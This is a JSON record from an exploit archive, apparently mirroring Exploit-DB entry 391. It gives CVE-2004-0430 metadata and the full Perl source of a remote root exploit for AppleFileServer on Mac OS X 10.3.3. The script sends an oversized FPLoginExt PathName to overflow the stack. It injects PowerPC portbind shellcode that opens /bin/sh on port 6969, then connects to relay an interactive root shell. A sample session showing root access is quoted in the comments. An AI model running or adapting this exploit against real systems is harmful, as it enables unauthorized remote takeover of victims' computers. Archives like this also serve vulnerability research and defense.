{"exploit":{"id":"EDB-391","name":"Apple Mac OSX 10.3.3 - AppleFileServer Overflow Remote Code Execution (RCE)","description":"Apple Mac OSX 10.3.3 - AppleFileServer Overflow Remote Code Execution (RCE)","cves":["CVE-2004-0430"],"author":"Dino Dai Zovi","published":"2004-08-13","platform":"osx","type":"remote","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/391","path":"exploits/osx/remote/391.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-391.pl","vulnerabilities":[{"id":"CVE-2004-0430","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in AppleFileServer for Mac OS X 10.3.3 and earlier allows remote attackers to execute arbitrary code via a LoginExt packet for a Cleartext Password User Authentication Method (UAM) request with a PathName argument that includes an AFPName type string that is longer than the associated length field.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-0430","cvss":{"version":"2.0","baseScore":5.1,"severity":"medium","vectorString":"AV:N/AC:H/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-0430"},"updatedAt":"2024-08-08T00:17:14.968Z","retrievedAt":"2026-11-26T12:10:17.900Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-391.png?v=2","url":"https://exploitbin.com/exploits/EDB-391","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-391/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-391/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n# Priv8security com remote root exploit for AppleFileServer.\n# PUBLIC VERSION!!!!\n#\n# Bug found by Dave G. and Dino Dai Zovi.\n# URL: http://www.atstake.com/research/advisories/2004/a050304-1.txt\n#\n# [wsxz@localhost buffer]$ perl priv8afp.pl -h 10.4.12.199 -t 0\n# -=[Priv8security.com Apple File Server remote root exploit!]=-\n#\n# [+] Using target: MacOSX 10.3.3\n# [+] Using ret: 0xf0101cb0\n# [+] Sending Request Opensession... DOne!\n# [+] Got response packet:\n# Flags: 1 Cmd: 4 ID: 31337\n# [+] Sending FPloginEXT packet... DOne!\n# [+] Waiting... We got in =)\n#\n# ****** Welcome to 'Adriano-Limas-Computer' ******\n#\n# Darwin Adriano-Limas-Computer.local 7.3.1 Darwin Kernel Version 7.3.1: Mon Mar\n# 22 21:48:41 PST 2004; root:xnu/xnu-517.4.12.obj~2/RELEASE_PPC Power Macintosh powerpc\n# uid=0(root) gid=0(wheel) groups=0(wheel), 1(daemon), 2(kmem), 3(sys), 4(tty),\n# 5(operator), 20(staff), 31(guest), 80(admin)\n#\n####################################################################\nuse IO::Socket;\n\nuse Getopt::Std; getopts('h:t:p:o:', \\%args);\nif (defined($args{'h'})) { $host = $args{'h'}; }\nif (defined($args{'t'})) { $target = $args{'t'}; }\nif (defined($args{'p'})) { $port = $args{'p'};}else{$port = 548;}\nif (defined($args{'o'})) { $offset = $args{'o'}; }else{$offset = 0;}\n\n\nmy @targets = (\n# description, ret, Magic size.\n[\"MacOSX 10.3.3\", 0xf0101cb0, 4], #tested on my ibook g4\n);\n\nprint STDERR \"-=[Priv8security.com Apple File Server remote root exploit!]=-\\n\\n\";\n\nif (!defined($host) || !defined($target)) {\nUsage();\n}\n\n($desc,$ret,$msize) = @{$targets[$target]};\n\nprint STDERR \"[+] Using target: $desc\\n\";\nprint STDERR \"[+] Using ret: 0x\" . sprintf('%lx', $ret + $offset) . \"\\n\";\n\n$shellcode = # portbind shellcode by br00t [at] blueyonder.co.uk\n\"\\x7c\\xa5\\x2a\\x79\\x40\\x82\\xff\\xfd\\x7d\\x68\\x02\\xa6\\x3b\\xeb\\x01\\x70\".\n\"\\x39\\x80\\x01\\x70\\x3b\\xdf\\xff\\x88\\x7c\\xbe\\x29\\xae\\x3b\\xdf\\xff\\x89\".\n\"\\x7c\\xbe\\x29\\xae\\x3b\\xdf\\xff\\x8a\\x7c\\xbe\\x29\\xae\\x3b\\xdf\\xff\\x8b\".\n\"\\x7c\\xbe\\x29\\xae\\x38\\x6c\\xfe\\x92\\x38\\x8c\\xfe\\x91\\x38\\xac\\xfe\\x96\".\n\"\\x38\\x0c\\xfe\\xf1\\x44\\xff\\xff\\x02\\x60\\x60\\x60\\x60\\x7c\\x67\\x1b\\x78\".\n\"\\x38\\x9f\\xff\\x84\\x38\\xac\\xfe\\xa0\\x38\\x0c\\xfe\\xf8\\x44\\xff\\xff\\x02\".\n\"\\x60\\x60\\x60\\x60\\x7c\\xe3\\x3b\\x78\\x38\\x8c\\xfe\\x91\\x38\\x0c\\xfe\\xfa\".\n\"\\x44\\xff\\xff\\x02\\x60\\x60\\x60\\x60\\x7c\\xe3\\x3b\\x78\\x38\\x8c\\xfe\\x90\".\n\"\\x38\\xac\\xfe\\x90\\x38\\x0c\\xfe\\xae\\x44\\xff\\xff\\x02\\x60\\x60\\x60\\x60\".\n\"\\x38\\x8c\\xfe\\x90\\x38\\x0c\\xfe\\xea\\x44\\xff\\xff\\x02\\x60\\x60\\x60\\x60\".\n\"\\x38\\x8c\\xfe\\x91\\x38\\x0c\\xfe\\xea\\x44\\xff\\xff\\x02\\x60\\x60\\x60\\x60\".\n\"\\x38\\x8c\\xfe\\x92\\x38\\x0c\\xfe\\xea\\x44\\xff\\xff\\x02\\x60\\x60\\x60\\x60\".\n\"\\x38\\x0c\\xfe\\x92\\x44\\xff\\xff\\x02\\x60\\x60\\x60\\x60\\x39\\x1f\\xff\\x83\".\n\"\\x7c\\xa8\\x29\\xae\\x38\\x7f\\xff\\x7c\\x90\\x61\\xff\\xf8\\x90\\xa1\\xff\\xfc\".\n\"\\x38\\x81\\xff\\xf8\\x38\\x0c\\xfe\\xcb\\x44\\xff\\xff\\x02\\x41\\x41\\x41\\x41\".\n\"\\x41\\x41\\x41\\x41\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x58\\xff\\x02\\x1b\\x39\".\n\"\\x41\\x41\\x41\\x41\";\n\n$bin_ret = reverse(pack('l', ($ret + $offset)));\n\n$buffer = \"\\x60\" x 141;\n$buffer .= $bin_ret;\n$buffer .= \"\\x60\" x (824 - length($shellcode));\n$buffer .= $shellcode;\n$buffer .= \"A\" x 100;\n\n$req =\n\"\\x00\\x04\".# Request Opensession\n\"\\x7a\\x69\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\";\n\n$packet =\n\"\\x00\". # Request\n\"\\x02\". # Command\n\"\\x7a\\x69\".# leet ID\n\"\\x00\\x00\\x00\\x00\".# Data Offset\n\"\\x00\\x00\\x04\\x00\".# Length\n\"\\x00\\x00\\x00\\x00\".# Reserved\n\"\\x3f\". # FPloginext\n\"\\x00\". # Pad\n\"\\x00\\x00\". # Flags\n\"\\x0e\\x41\\x46\\x50\\x56\\x65\\x72\\x73\\x69\\x6f\\x6e\\x20\\x32\\x2e\\x31\".# Version\n\"\\x10\\x43\\x6c\\x65\\x61\\x72\\x74\\x78\\x74\\x20\\x70\\x61\\x73\\x73\\x77\\x72\\x64\". # UAM\n\"\\x03\". # Type\n\"\\x00\\x07\". # User Len\n\"\\x41\\x64\\x72\\x69\\x61\\x6e\\x6f\" .# AFPNAME USER\n\"\\x03\". # Pathtype\n\"\\x80\\xff\". # Path Len\n$buffer. # Evil String\n\"\\x00\"; # Pad\n\n$len = reverse(pack(\"S\", $msize));\n\nsubstr($packet, 63 , 2, $len);\n\n$f = IO::Socket::INET->new(Proto=>\"tcp\", PeerHost=>$host,PeerPort=>$port)\nor die \"[-] Cant connect: $!\\n\\n\";\n\nprint STDERR \"[+] Sending Request Opensession... \";\n\n$f->send($req);\nprint STDERR \"DOne!\\n\";\n\n$f->recv($crap,128);\nif($crap){\nprint STDERR \"[+] Got response packet:\\n\";\nparse_packet($crap);\n}\n\nprint STDERR \"[+] Sending FPloginEXT packet... \";\n$f->send($packet);\nprint STDERR \"DOne!\\n\";\nprint STDERR \"[+] Waiting... \";\n\nsleep(5);\n\n$sc = IO::Socket::INET->new(Proto=>\"tcp\", PeerHost=>$host,PeerPort=>6969,Type=>SOCK_STREAM,Reuse=>1)\nor die \"No luck :( $!\\n\\n\";\n\nprint \"We got in =)\\n\";\n\n$sc->autoflush(1);\n\nsleep(2);\n\nprint $sc \"echo;echo \\\"****** Welcome to '`hostname -s`' ******\\\"\\n\";\nprint $sc \"echo;uname -a;id;echo\\n\";\n\ndie \"cant fork: $!\" unless defined($pid = fork());\n\nif ($pid) {\nwhile(defined ($line = <$sc>)) {\nprint STDOUT $line;\n}\nkill(\"TERM\", $pid);\n}\nelse\n{\nwhile(defined ($line = <STDIN>)) {\nprint $sc $line;\n}\n}\nclose($sc);\nprint \"Good bye!!\\n\";\n\nsub parse_packet\n{\nmy ($buf) = shift @_;\nmy (@packet);\nmy ($i);\n\nfor ($i=0;$i<length($buf);$i++)\n{\npush(@packet, substr($buf, $i, 1));\n}\n\nmy ($flags) = unpack(\"C\", @packet[0]);\nmy ($cmd) = unpack(\"C\", @packet[1]);\n\nmy ($request_id) = unpack(\"n\", @packet[2] . @packet[3]);\nprint \" Flags: $flags Cmd: $cmd ID: $request_id\\n\";\n\n}\n\n\nsub Usage {\n\nprint STDERR \"Options:\n-h Victim ip.\n-t Target number from list.\n-p Port to attack.\n-o Offset, try in steps of 500.\\n\\n\";\n\nprint STDERR \"Targets:\\n\";\nfor($i=0; $i < @targets; $i++){\n($dd) = @{$targets[$i]};\nprint STDERR \" $i - $dd\\n\";\n}\nprint STDERR \"\\nUsage: perl $0 -h Victim -t target\\n\\n\";\nexit;\n}\n\n# milw0rm.com [2004-08-13]","sha256":"da76e52b93bc67ce5cb45b4574fe03478f9939b14e558078037cfcef987ecee4","bytes":5414,"fetchedAt":"2026-11-26T12:10:17.453Z","encoding":"utf-8 (display only; download retains original bytes)"}